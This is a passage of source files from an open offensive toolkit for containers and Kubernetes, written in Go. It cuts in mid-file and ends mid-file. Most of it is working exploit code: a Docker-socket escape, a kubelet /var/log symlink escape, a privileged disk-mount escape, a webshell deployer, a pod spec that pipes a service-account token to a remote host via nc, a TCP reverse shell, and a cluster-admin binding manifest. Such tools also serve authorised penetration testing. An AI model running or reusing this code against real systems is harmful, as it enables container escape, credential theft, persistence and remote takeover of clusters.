| log.Println("trying to pull image:", image) 73 | ans, err := util.UnixHttpSend("post", path, "http://127.0.0.1/images/create?fromImage="+strings.Replace(image, ":", "&tag=", -1), "") 74 | if err != nil { 75 | return &errors.CDKRuntimeError{Err: err, CustomMsg: "failed to pull docker image via unix socket http request."} 76 | } 77 | log.Println("Docker API response:") 78 | fmt.Println("\t" + ans) 79 | return nil 80 | } 81 | 82 | func DockerSockExploit(sock string, cmd string) bool { 83 | err := CheckDockerSock(sock) 84 | if err != nil { 85 | log.Println(err) 86 | return false 87 | } 88 | err = DockerAPIPull(sock, "alpine:latest") 89 | if err != nil { 90 | log.Println(err) 91 | return false 92 | } 93 | err = DockerAPIRun(sock, cmd) 94 | if err != nil { 95 | log.Println(err) 96 | return false 97 | } 98 | return true 99 | } 100 | 101 | // plugin interface 102 | type DINDAttackDeployS struct{ base.BaseExploit } 103 | 104 | func (p DINDAttackDeployS) Desc() string { 105 | return "Create and run in a container with host root `/` mounted to container `/host` usage: ./cdk run docker-sock-deploy example: ./cdk run docker-sock-pwn /var/run/docker.sock \"touch /host/tmp/pwn-success\"" 106 | } 107 | 108 | func (p DINDAttackDeployS) Run() bool { 109 | args := cli.Args[""].([]string) 110 | if len(args) != 2 { 111 | log.Println("invalid input args.") 112 | log.Fatal(p.Desc()) 113 | } 114 | sock := args[0] 115 | cmd := args[1] 116 | 117 | log.Println("checking docker socket:", sock) 118 | return DockerSockExploit(sock, cmd) 119 | } 120 | 121 | func init() { 122 | exploit := DINDAttackDeployS{} 123 | exploit.ExploitType = "escaping" 124 | plugin.RegisterExploit("docker-sock-pwn", exploit) 125 | } 126 | -------------------------------------------------------------------------------- /pkg/exploit/escaping/k8s_kubelet_var_log_escape.go: -------------------------------------------------------------------------------- 1 | //go:build !no_kubelet_var_log_escape 2 | // +build !no_kubelet_var_log_escape 3 | 4 | /* 5 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 6 | 7 | Licensed under the Apache License, Version 2.0 (the "License"); 8 | you may not use this file except in compliance with the License. 9 | You may obtain a copy of the License at 10 | 11 | http://www.apache.org/licenses/LICENSE-2.0 12 | 13 | Unless required by applicable law or agreed to in writing, software 14 | distributed under the License is distributed on an "AS IS" BASIS, 15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | See the License for the specific language governing permissions and 17 | limitations under the License. 18 | */ 19 | 20 | package escaping 21 | 22 | import ( 23 | "fmt" 24 | "log" 25 | "os" 26 | "path" 27 | "regexp" 28 | "strings" 29 | 30 | "github.com/cdk-team/CDK/pkg/cli" 31 | "github.com/cdk-team/CDK/pkg/exploit/base" 32 | "github.com/cdk-team/CDK/pkg/plugin" 33 | "github.com/cdk-team/CDK/pkg/tool/kubectl" 34 | "github.com/cdk-team/CDK/pkg/util" 35 | ) 36 | 37 | type VarLogEscape struct{ base.BaseExploit } 38 | 39 | func (p VarLogEscape) Desc() string { 40 | var buffer strings.Builder 41 | 42 | buffer.WriteString("Exploit container escape with kubelet log access & /var/log mount.") 43 | buffer.WriteString("Usage: cdk run k8s-kubelet-var-log-escape /root/targetfile-to-read") 44 | 45 | return buffer.String() 46 | } 47 | 48 | func (p VarLogEscape) Run() bool { 49 | args := cli.Args[""].([]string) 50 | 51 | targetFile := args[0] 52 | token := "" 53 | logPageSubString := `href="pods/` 54 | logLinkRegx := `href="(.*)"` 55 | 56 | gateway, err := util.GetGateway() 57 | if err != nil { 58 | log.Printf("[-] GetGateway error: %v", err) 59 | return false 60 | } 61 | 62 | // check kubelet endpoint and logs access 63 | kubeletEndpoint := fmt.Sprintf("https://%s:10250/", gateway) 64 | log.Printf("[+] Checking kubelet endpoint: %s", kubeletEndpoint) 65 | opts := kubectl.K8sRequestOption{ 66 | Token: token, 67 | Server: kubeletEndpoint, 68 | Api: "/logs/", 69 | Method: "GET", 70 | } 71 | respText, err := kubectl.ServerAccountRequest(opts) 72 | if err != nil { 73 | log.Printf("[-] kubelet log access error: %v", err) 74 | return false 75 | } 76 | log.Printf("[+] kubelet log access success, url: %s, response length: %d", kubeletEndpoint, len(respText)) 77 | 78 | // Log all the log files in /var/log 79 | if strings.Contains(respText, logPageSubString) { 80 | loglist := regexp.MustCompile(logLinkRegx).FindAllStringSubmatch(respText, -1) 81 | loglistText := "" 82 | for _, filename := range loglist { 83 | loglistText += filename[1] + "\n" 84 | } 85 | log.Printf("log list: \n%s", loglistText) 86 | } 87 | 88 | // check /var/log mount 89 | mountinfo, err := util.GetMountInfo() 90 | mountPoint := "" 91 | if err != nil { 92 | log.Printf("[-] GetMountInfo error: %v", err) 93 | return false 94 | } 95 | for _, mount := range mountinfo { 96 | if mount.Root == "/var/log" { 97 | log.Printf("[+] Found /var/log mount success, mount point: %s", mount.MountPoint) 98 | mountPoint = mount.MountPoint 99 | break 100 | } 101 | } 102 | if mountPoint == "" { 103 | log.Printf("[-] Not found /var/log mount") 104 | return false 105 | } 106 | 107 | // make target symbolic file link 108 | // run `ln -s targetfile /var/log/targetfile` 109 | randomeFilename := fmt.Sprintf("%s-%s", "cdk-var-log-escape", util.RandString(10)) 110 | filepath := path.Join(mountPoint, randomeFilename) 111 | os.Symlink(targetFile, filepath) 112 | 113 | // get log file in kubelet endpoint 114 | uri := path.Join("/logs/", randomeFilename) 115 | opts = kubectl.K8sRequestOption{ 116 | Token: token, 117 | Server: kubeletEndpoint, 118 | Api: uri, 119 | Method: "GET", 120 | } 121 | fileContent, err := kubectl.ServerAccountRequest(opts) 122 | if err != nil { 123 | log.Printf("[-] Get log file error: %v", err) 124 | return false 125 | } 126 | log.Printf("[+] Get log file success, file content: \n%s", fileContent) 127 | log.Printf("[+] You can write the host file '%s' in file path: %s", targetFile, filepath) 128 | return true 129 | } 130 | 131 | func init() { 132 | exploit := VarLogEscape{} 133 | exploit.ExploitType = "escaping" 134 | plugin.RegisterExploit("k8s-kubelet-var-log-escape", exploit) 135 | } 136 | -------------------------------------------------------------------------------- /pkg/exploit/escaping/mount_device.go: -------------------------------------------------------------------------------- 1 | //go:build !no_mount_device 2 | // +build !no_mount_device 3 | 4 | /* 5 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 6 | 7 | Licensed under the Apache License, Version 2.0 (the "License"); 8 | you may not use this file except in compliance with the License. 9 | You may obtain a copy of the License at 10 | 11 | http://www.apache.org/licenses/LICENSE-2.0 12 | 13 | Unless required by applicable law or agreed to in writing, software 14 | distributed under the License is distributed on an "AS IS" BASIS, 15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | See the License for the specific language governing permissions and 17 | limitations under the License. 18 | */ 19 | 20 | package escaping 21 | 22 | import ( 23 | "bytes" 24 | "encoding/json" 25 | "fmt" 26 | "log" 27 | "os" 28 | "os/exec" 29 | "regexp" 30 | "strings" 31 | 32 | "github.com/cdk-team/CDK/pkg/errors" 33 | "github.com/cdk-team/CDK/pkg/exploit/base" 34 | "github.com/cdk-team/CDK/pkg/plugin" 35 | "github.com/cdk-team/CDK/pkg/util" 36 | "github.com/shirou/gopsutil/v3/disk" 37 | ) 38 | 39 | // add this to check if the container have device priv 40 | func CheckFdisk() { 41 | _, err := exec.LookPath("fdisk") 42 | if err != nil { 43 | log.Println("cannot run `fdisk` command on target os") 44 | return 45 | } 46 | 47 | cmd := exec.Command("fdisk", "-l") 48 | 49 | var output bytes.Buffer 50 | cmd.Stdout = &output 51 | e := cmd.Run() 52 | if e != nil { 53 | log.Fatal("run command error :" + e.Error()) 54 | } 55 | 56 | pattern := regexp.MustCompile("(?i)\\n/[^\\n]*linux(\\n|$)") 57 | params := pattern.FindAllStringSubmatch(output.String(), -1) 58 | for _, matched := range params { 59 | fmt.Printf("%s\n", strings.Join(matched, "\n")) 60 | 61 | } 62 | } 63 | 64 | // print all device and mount them to random path under /tmp 65 | func AllDiskMount() (error, []string) { 66 | var exploitSuccess = false 67 | var mountedDirs []string 68 | var devices []string 69 | 70 | infos, _ := disk.Partitions(false) 71 | for _, info := range infos { 72 | devices = append(devices, info.Device) 73 | data, _ := json.MarshalIndent(info, "", " ") 74 | fmt.Println(string(data)) 75 | } 76 | devices = util.RemoveDuplicateElement(devices) 77 | log.Println("found", len(devices), "devices in total.") 78 | 79 | if len(devices) > 0 { 80 | for _, device := range devices { 81 | err, mountDir := MountToRandomTarget(device) 82 | if err != nil { 83 | log.Println(err) 84 | } else { 85 | mountedDirs = append(mountedDirs, mountDir) 86 | exploitSuccess = true 87 | } 88 | } 89 | } 90 | if exploitSuccess { 91 | return nil, mountedDirs 92 | } else { 93 | return errors.New("exploit mount-disk failed."), nil 94 | } 95 | } 96 | 97 | func MountToRandomTarget(device string) (error, string) { 98 | mountDir := fmt.Sprintf("/tmp/cdk_%s", util.RandString(5)) 99 | err := os.MkdirAll(mountDir, os.ModePerm) 100 | if err != nil { 101 | return &errors.CDKRuntimeError{Err: err, CustomMsg: fmt.Sprintf("fail to create mount dir in:%s", mountDir)}, "" 102 | } 103 | 104 | cmd := exec.Command("mount", device, mountDir) 105 | 106 | var output bytes.Buffer 107 | cmd.Stdout = &output 108 | e := cmd.Run() 109 | if e != nil { 110 | return &errors.CDKRuntimeError{Err: e, CustomMsg: "mount error. possible reason: target container is not privileged."}, "" 111 | } 112 | 113 | fmt.Printf("success! device %s was mounted to %s\n\n", device, mountDir) 114 | 115 | return nil, mountDir 116 | } 117 | 118 | // plugin interface 119 | type mountDeviceS struct{ base.BaseExploit } 120 | 121 | func (p mountDeviceS) Desc() string { 122 | return "escape privileged container via disk mount, usage: `./cdk run mount-disk`" 123 | } 124 | func (p mountDeviceS) Run() bool { 125 | err, _ := AllDiskMount() 126 | if err != nil { 127 | log.Println(err) 128 | return false 129 | } 130 | return true 131 | } 132 | 133 | func init() { 134 | exploit := mountDeviceS{} 135 | exploit.ExploitType = "escaping" 136 | plugin.RegisterExploit("mount-disk", exploit) 137 | } 138 | -------------------------------------------------------------------------------- /pkg/exploit/exp_init.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package exploit 18 | 19 | import ( 20 | // register all kinds of exploits 21 | _ "github.com/cdk-team/CDK/pkg/exploit/credential_access" 22 | _ "github.com/cdk-team/CDK/pkg/exploit/discovery" 23 | _ "github.com/cdk-team/CDK/pkg/exploit/escaping" 24 | _ "github.com/cdk-team/CDK/pkg/exploit/persistence" 25 | _ "github.com/cdk-team/CDK/pkg/exploit/privilege_escalation" 26 | _ "github.com/cdk-team/CDK/pkg/exploit/remote_control" 27 | ) 28 | 29 | func init() { 30 | } 31 | -------------------------------------------------------------------------------- /pkg/exploit/exploit_test.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package exploit 18 | 19 | import ( 20 | "strings" 21 | "testing" 22 | 23 | "github.com/stretchr/testify/assert" 24 | ) 25 | 26 | func TestBlankInString(t *testing.T) { 27 | 28 | testCase := []string{"", "any strings"} 29 | 30 | for _, value := range testCase { 31 | t.Run("TestBlankInString", func(t *testing.T) { 32 | assert.True(t, strings.Contains(value, ""), "return True.") 33 | }) 34 | } 35 | 36 | } 37 | -------------------------------------------------------------------------------- /pkg/exploit/hwexp/411.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: ServiceAccount 3 | metadata: 4 | name: my-serviceaccount 5 | namespace: default 6 | --- 7 | apiVersion: rbac.authorization.k8s.io/v1 8 | kind: ClusterRoleBinding 9 | metadata: 10 | name: my-cluster-admin 11 | roleRef: 12 | apiGroup: rbac.authorization.k8s.io 13 | kind: ClusterRole 14 | name: cluster-admin 15 | subjects: 16 | - kind: ServiceAccount 17 | name: my-serviceaccount 18 | namespace: default 19 | --- 20 | apiVersion: v1 21 | kind: Pod 22 | metadata: 23 | name: my-centos-pod 24 | namespace: default 25 | spec: 26 | serviceAccountName: my-serviceaccount 27 | containers: 28 | - name: centos-container 29 | image: centos:latest 30 | command: ["/bin/bash", "-c", "--"] 31 | args: ["while true; do sleep 30; done;"] 32 | -------------------------------------------------------------------------------- /pkg/exploit/hwexp/utils.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package hwexp 18 | 19 | import ( 20 | "encoding/json" 21 | "fmt" 22 | "github.com/cdk-team/CDK/pkg/tool/kubectl" 23 | "log" 24 | ) 25 | 26 | type Result struct { 27 | Code int 28 | Message string 29 | } 30 | 31 | func (res Result) ToJson() string { 32 | 33 | data, err := json.Marshal(res) 34 | if err != nil { 35 | log.Fatal(err) 36 | } 37 | 38 | return string(data) 39 | } 40 | 41 | func (res Result) PrintJson() { 42 | 43 | fmt.Println(res.ToJson()) 44 | 45 | } 46 | 47 | func extractKubectl() string { 48 | 49 | path, err := kubectl.ExtractKubectl() 50 | if err != nil { 51 | log.Fatal(err) 52 | } 53 | 54 | return path 55 | } 56 | -------------------------------------------------------------------------------- /pkg/exploit/persistence/deploy_webshell.go: -------------------------------------------------------------------------------- 1 | //go:build !no_deploy_webshell 2 | // +build !no_deploy_webshell 3 | 4 | /* 5 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 6 | 7 | Licensed under the Apache License, Version 2.0 (the "License"); 8 | you may not use this file except in compliance with the License. 9 | You may obtain a copy of the License at 10 | 11 | http://www.apache.org/licenses/LICENSE-2.0 12 | 13 | Unless required by applicable law or agreed to in writing, software 14 | distributed under the License is distributed on an "AS IS" BASIS, 15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | See the License for the specific language governing permissions and 17 | limitations under the License. 18 | */ 19 | 20 | package persistence 21 | 22 | import ( 23 | "fmt" 24 | "log" 25 | "strings" 26 | 27 | "github.com/cdk-team/CDK/pkg/exploit/base" 28 | 29 | "github.com/cdk-team/CDK/conf" 30 | "github.com/cdk-team/CDK/pkg/cli" 31 | "github.com/cdk-team/CDK/pkg/errors" 32 | "github.com/cdk-team/CDK/pkg/plugin" 33 | "github.com/cdk-team/CDK/pkg/util" 34 | ) 35 | 36 | func deployWebShell(scriptType string, path string) error { 37 | var content string 38 | var param = "cdk_" + util.RandString(7) 39 | switch strings.ToLower(scriptType) { 40 | case "php": 41 | content = strings.ReplaceAll(conf.WebShellCodePHP, "$SECRET_PARAM", param) 42 | case "jsp": 43 | content = strings.ReplaceAll(conf.WebShellCodeJSP, "$SECRET_PARAM", param) 44 | default: 45 | return errors.New("invalid input args. Usage: cdk run deploy-webshell (php|jsp) .") 46 | } 47 | err := util.WriteFile(path, content) 48 | if err != nil { 49 | return &errors.CDKRuntimeError{Err: err, CustomMsg: "write webshell content failed."} 50 | } 51 | fmt.Printf("\t%s webshell saved in %s\n\tsend codes or system command via post param: %s=(codes)\n", scriptType, path, param) 52 | return nil 53 | } 54 | 55 | // plugin interface 56 | type webShellDeployS struct{ base.BaseExploit } 57 | 58 | func (p webShellDeployS) Desc() string { 59 | return "Write webshell to target path. Usage: cdk run webshell-deploy (php|jsp) ." 60 | } 61 | 62 | func (p webShellDeployS) Run() bool { 63 | 64 | args := cli.Args[""].([]string) 65 | if len(args) != 2 { 66 | log.Println("invalid input args.") 67 | log.Fatal(p.Desc()) 68 | } 69 | 70 | fileType := args[0] 71 | path := args[1] 72 | err := deployWebShell(fileType, path) 73 | if err != nil { 74 | fmt.Println(err) 75 | return false 76 | } 77 | return true 78 | } 79 | 80 | func init() { 81 | exploit := webShellDeployS{} 82 | exploit.ExploitType = "persistence" 83 | plugin.RegisterExploit("webshell-deploy", exploit) 84 | } 85 | -------------------------------------------------------------------------------- /pkg/exploit/privilege_escalation/k8s_get_sa_token.go: -------------------------------------------------------------------------------- 1 | //go:build !no_k8s_get_sa_token 2 | // +build !no_k8s_get_sa_token 3 | 4 | /* 5 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 6 | 7 | Licensed under the Apache License, Version 2.0 (the "License"); 8 | you may not use this file except in compliance with the License. 9 | You may obtain a copy of the License at 10 | 11 | http://www.apache.org/licenses/LICENSE-2.0 12 | 13 | Unless required by applicable law or agreed to in writing, software 14 | distributed under the License is distributed on an "AS IS" BASIS, 15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | See the License for the specific language governing permissions and 17 | limitations under the License. 18 | */ 19 | 20 | package privilege_escalation 21 | 22 | import ( 23 | "fmt" 24 | "log" 25 | "strings" 26 | 27 | "github.com/cdk-team/CDK/pkg/exploit/base" 28 | 29 | "github.com/cdk-team/CDK/conf" 30 | "github.com/cdk-team/CDK/pkg/cli" 31 | "github.com/cdk-team/CDK/pkg/errors" 32 | "github.com/cdk-team/CDK/pkg/plugin" 33 | "github.com/cdk-team/CDK/pkg/tool/kubectl" 34 | ) 35 | 36 | var k8sCreateSystemPodAPI = "/api/v1/namespaces/kube-system/pods" 37 | var k8sGetSATokenPodConf = `{ 38 | "apiVersion": "v1", 39 | "kind": "Pod", 40 | "metadata": { 41 | "name": "cdk-rbac-bypass-create-pod", 42 | "namespace": "kube-system" 43 | }, 44 | "spec": { 45 | "automountServiceAccountToken": true, 46 | "containers": [{ 47 | "args": ["-c", "apt update && apt install -y netcat; cat /run/secrets/kubernetes.io/serviceaccount/token | nc ${RHOST} ${RPORT}; sleep 300"], 48 | "command": ["/bin/sh"], 49 | "image": "ubuntu", 50 | "name": "ubuntu" 51 | }], 52 | "hostNetwork": true, 53 | "serviceAccountName": "${TARGET_SERVICE_ACCOUNT}" 54 | } 55 | }` 56 | 57 | func GetK8sSATokenViaCreatePod(tokenPath string, targetServiceAccount string, rhost string, rport string) error { 58 | 59 | // get api-server connection conf in ENV 60 | log.Println("getting K8s api-server API addr.") 61 | addr, err := kubectl.ApiServerAddr() 62 | if err != nil { 63 | return &errors.CDKRuntimeError{Err: err, CustomMsg: "err found while getting K8s apiserver address."} 64 | } 65 | fmt.Println("\tFind K8s api-server in ENV:", addr) 66 | 67 | // create a pod with target serviceaccount token mounted 68 | log.Printf("Trying to create a pod to dump service-account:%s token to remote server %s:%s\n", targetServiceAccount, rhost, rport) 69 | 70 | opts := kubectl.K8sRequestOption{ 71 | TokenPath: "", 72 | Server: addr, 73 | Api: k8sCreateSystemPodAPI, 74 | Method: "POST", 75 | PostData: "", 76 | Anonymous: false, 77 | } 78 | 79 | switch tokenPath { 80 | case "default": 81 | opts.TokenPath = conf.K8sSATokenDefaultPath 82 | case "anonymous": 83 | opts.TokenPath = "" 84 | opts.Anonymous = true 85 | default: 86 | opts.TokenPath = tokenPath 87 | } 88 | 89 | opts.PostData = strings.Replace(k8sGetSATokenPodConf, "${RHOST}", rhost, -1) 90 | opts.PostData = strings.Replace(opts.PostData, "${RPORT}", rport, -1) 91 | opts.PostData = strings.Replace(opts.PostData, "${TARGET_SERVICE_ACCOUNT}", targetServiceAccount, -1) 92 | 93 | log.Println("Request Body: ", opts.PostData) 94 | 95 | resp, err := kubectl.ServerAccountRequest(opts) 96 | if err != nil { 97 | return &errors.CDKRuntimeError{Err: err, CustomMsg: "err found while requesting K8s apiserver."} 98 | } 99 | log.Println("api-server response:") 100 | fmt.Println(resp) 101 | 102 | return nil 103 | } 104 | 105 | // plugin interface 106 | type K8sGetSATokenViaCreatePodS struct{ base.BaseExploit } 107 | 108 | func (p K8sGetSATokenViaCreatePodS) Desc() string { 109 | return "Dump target service-account token and send it to remote ip:port, usage: cdk run k8s-get-sa-token (default|anonymous|) " 110 | } 111 | func (p K8sGetSATokenViaCreatePodS) Run() bool { 112 | args := cli.Args[""].([]string) 113 | if len(args) != 4 { 114 | log.Println("invalid input args.") 115 | log.Fatal(p.Desc()) 116 | } 117 | 118 | token := args[0] 119 | targetServiceAccount := args[1] 120 | remoteIP := args[2] 121 | remotePort := args[3] 122 | 123 | err := GetK8sSATokenViaCreatePod(token, targetServiceAccount, remoteIP, remotePort) 124 | if err != nil { 125 | log.Println("exploit failed.") 126 | log.Println(err) 127 | return false 128 | } 129 | 130 | return true 131 | } 132 | 133 | func init() { 134 | exploit := K8sGetSATokenViaCreatePodS{} 135 | exploit.ExploitType = "privilege-escalation" 136 | plugin.RegisterExploit("k8s-get-sa-token", exploit) 137 | } 138 | -------------------------------------------------------------------------------- /pkg/exploit/remote_control/reverse_shell.go: -------------------------------------------------------------------------------- 1 | //go:build !no_reverse_shell 2 | // +build !no_reverse_shell 3 | 4 | /* 5 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 6 | 7 | Licensed under the Apache License, Version 2.0 (the "License"); 8 | you may not use this file except in compliance with the License. 9 | You may obtain a copy of the License at 10 | 11 | http://www.apache.org/licenses/LICENSE-2.0 12 | 13 | Unless required by applicable law or agreed to in writing, software 14 | distributed under the License is distributed on an "AS IS" BASIS, 15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | See the License for the specific language governing permissions and 17 | limitations under the License. 18 | */ 19 | 20 | package remote_control 21 | 22 | import ( 23 | "log" 24 | "net" 25 | "os/exec" 26 | "runtime" 27 | 28 | "github.com/cdk-team/CDK/pkg/exploit/base" 29 | 30 | "github.com/cdk-team/CDK/pkg/cli" 31 | "github.com/cdk-team/CDK/pkg/plugin" 32 | ) 33 | 34 | func ReverseShell(connectString string) { 35 | var cmd *exec.Cmd 36 | if len(connectString) == 0 { //valid input: "192.168.0.23:2233" 37 | log.Fatal("invalid reverse shell remote addr: ", connectString) 38 | } 39 | conn, err := net.Dial("tcp", connectString) 40 | if err != nil { 41 | log.Fatal("fail to connect remote addr: ", connectString) 42 | } 43 | 44 | switch runtime.GOOS { 45 | case "windows": 46 | cmd = exec.Command("cmd.exe") 47 | case "linux": 48 | cmd = exec.Command("/bin/sh") 49 | case "freebsd": 50 | cmd = exec.Command("/bin/csh") 51 | default: 52 | cmd = exec.Command("/bin/sh") 53 | } 54 | cmd.Stdin = conn 55 | cmd.Stdout = conn 56 | cmd.Stderr = conn 57 | _ = cmd.Run() 58 | } 59 | 60 | // plugin interface 61 | type reverseShellS struct{ base.BaseExploit } 62 | 63 | func (p reverseShellS) Desc() string { 64 | return "reverse shell to remote addr, usage: cdk run reverse-shell " 65 | } 66 | func (p reverseShellS) Run() bool { 67 | args := cli.Args[""].([]string) 68 | if len(args) != 1 { 69 | log.Println("Invalid input args.") 70 | log.Fatal(p.Desc()) 71 | } 72 | ReverseShell(args[0]) 73 | return true 74 | } 75 | 76 | func init() { 77 | exploit := reverseShellS{} 78 | exploit.ExploitType = "remote-control" 79 | plugin.RegisterExploit("reverse-shell", exploit) 80 | } 81 | -------------------------------------------------------------------------------- /pkg/exploit/test_poc.go: -------------------------------------------------------------------------------- 1 | // 2 | /* 3 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 4 | 5 | Licensed under the Apache License, Version 2.0 (the "License"); 6 | you may not use this file except in compliance with the License. 7 | You may obtain a copy of the License at 8 | 9 | http://www.apache.org/licenses/LICENSE-2.0 10 | 11 | Unless required by applicable law or agreed to in writing, software 12 | distributed under the License is distributed on an "AS IS" BASIS, 13 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | See the License for the specific language governing permissions and 15 | limitations under the License. 16 | */ 17 | 18 | package exploit 19 | 20 | import ( 21 | "github.com/cdk-team/CDK/pkg/exploit/base" 22 | "log" 23 | 24 | "github.com/cdk-team/CDK/pkg/cli" 25 | "github.com/cdk-team/CDK/pkg/plugin" 26 | ) 27 | 28 | // TESTExploit plugin interface 29 | // test-poc can not delete, if we delete, will cause panic in Github Action with an unknown error 30 | type TESTExploit struct{ base.BaseExploit } 31 | 32 | func (p TESTExploit) Desc() string { 33 | return "this is the test script" 34 | } 35 | func (p TESTExploit) Run() bool { 36 | // if your script needs input, handle `var lib.Args[""]` by yourself. 37 | // example 38 | if cli.Args[""] != nil { 39 | log.Printf("%v", cli.Args[""].([]string)) 40 | } 41 | 42 | // functional codes 43 | log.Printf("\n[test] run success\n") 44 | log.Printf("[test] ping -> pong\n") 45 | 46 | // return [true/false] when [normal exit/fatal] 47 | return true 48 | } 49 | 50 | func init() { 51 | exploit := TESTExploit{} 52 | plugin.RegisterExploit("test-poc", exploit) 53 | } 54 | -------------------------------------------------------------------------------- /pkg/plugin/interface.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package plugin 18 | 19 | import ( 20 | "fmt" 21 | "os" 22 | "sort" 23 | "text/tabwriter" 24 | ) 25 | 26 | type ExploitInterface interface { 27 | Desc() string 28 | Run() bool 29 | GetExploitType() string 30 | } 31 | 32 | type TaskInterface interface { 33 | Exec() bool 34 | Desc() string 35 | } 36 | 37 | var Exploits map[string]ExploitInterface 38 | var Tasks map[string]TaskInterface 39 | 40 | func init() { 41 | Exploits = make(map[string]ExploitInterface) 42 | Tasks = make(map[string]TaskInterface) 43 | } 44 | 45 | func ListAllExploit() { 46 | 47 | writer := tabwriter.NewWriter(os.Stdout, 1, 1, 1, ' ', tabwriter.AlignRight|tabwriter.Debug) 48 | 49 | type kv struct { 50 | Name string 51 | ExploitType string 52 | Desc string 53 | } 54 | 55 | sortedExploits := make([]kv, 0) 56 | 57 | for name, plugin := range Exploits { 58 | sortedExploits = append(sortedExploits, kv{name, plugin.GetExploitType(), plugin.Desc()}) 59 | } 60 | 61 | sort.Slice(sortedExploits, func(i, j int) bool { 62 | return sortedExploits[i].ExploitType < sortedExploits[j].ExploitType 63 | }) 64 | 65 | fmt.Fprintln(writer, "TYPE \t NAME \t DESC") 66 | 67 | for _, kv := range sortedExploits { 68 | str := fmt.Sprintf("%s \t %s \t %s", kv.ExploitType, kv.Name, kv.Desc) 69 | fmt.Fprintln(writer, str) 70 | } 71 | 72 | writer.Flush() 73 | } 74 | 75 | func RunSingleExploit(name string) { 76 | Exploits[name].Run() 77 | } 78 | 79 | func RegisterExploit(name string, exploit ExploitInterface) { 80 | Exploits[name] = exploit 81 | } 82 | 83 | func RunSingleTask(name string) { 84 | // fmt.Printf("[+] Running exploit: %s.\n", name) 85 | // fmt.Printf("[+] %s\n", Tasks[name].Desc()) 86 | // Can not call cli.Args here, because it will cause "import cycle". 87 | // fmt.Printf("[+] Args: %v.\n", cli.Args[""]) 88 | Tasks[name].Exec() 89 | } 90 | 91 | func RegisterTask(name string, task TaskInterface) { 92 | Tasks[name] = task 93 | } 94 | -------------------------------------------------------------------------------- /pkg/task/fix_build_null.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package task 18 | 19 | // init: fix "build constraints exclude all Go files in /pkg/task" 20 | func init() { 21 | } 22 | -------------------------------------------------------------------------------- /pkg/tool/dockerd_api/dockerd_api.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package dockerd_api 18 | 19 | import ( 20 | "fmt" 21 | "github.com/cdk-team/CDK/pkg/util" 22 